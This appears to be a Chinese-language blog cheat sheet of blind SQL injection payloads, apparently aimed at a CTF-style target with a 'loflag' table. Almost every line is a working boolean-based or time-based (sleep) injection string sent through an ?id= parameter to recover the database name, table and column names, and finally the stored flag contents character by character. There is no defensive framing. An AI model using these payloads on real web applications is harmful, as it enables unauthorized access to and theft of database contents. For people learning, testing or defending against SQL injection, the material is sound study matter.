猜数据库的长度；
?id=1 and (length(database()))>11#
?id=1 and (length(database()))>11#
猜测数据库的库名：
?id=1 and ascii(substr(database(),1,1))>1#
猜表名（示例为查询第一个表名）
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 //注意括号问题
and substr((select table_name from information_schema.tables where table_schema=’kanwolongxia’ limit 0,1),1,1)=’l’
猜第一个字段名第一个字符：
and substr((select column_name from information_schema.columns where table_name=’loflag’ limit 0,1),1,1)=’i’
猜第一个字段名第二个字符：
and substr((select column_name from information_schema.columns where table_name=’loflag’ limit 0,1),2,1)=’i’
猜第二个字段名：
and substr((select column_name from information_schema.columns where table_name=’loflag’ limit 1,1),2,1)=’l’#
猜字段中的内容：
and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))=122
时间盲注猜测数据库的长度:
?id=1″ and if(length(database())=12,sleep(5),1) — +
猜测数据库的库名:
if(ascii(substr(database(),1,1))>120,0,sleep(10)) –+
猜测数据库中表的长度：
?id=1″ and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1) — +
猜测数据库中的表名：
?id=1″ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=120,sleep(5),1) — +
猜测表中的字段名的长度：
?id=1″ and if(length((select column_name from information_schema.columns where table_schema=database() and table_name=’loflag’ limit 0,1))=2,sleep(5),111) — +
猜测表中的字段名：
?id=1″ and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=’loflag’ limit 0,1),1,1))=73,sleep(5),111) — +
猜测字段中内容的长度：
?id=1″ and if(length((select flaglo from loflag limit 0,1))=111,sleep(5),111) — +
猜测字段中的内容：
?id=1″ and if((ascii(substr((select flaglo from loflag limit 0,1),1,1)))=120,sleep(5),111) — +
© 版权声明
文章版权归作者所有，未经允许请勿转载。
相关文章
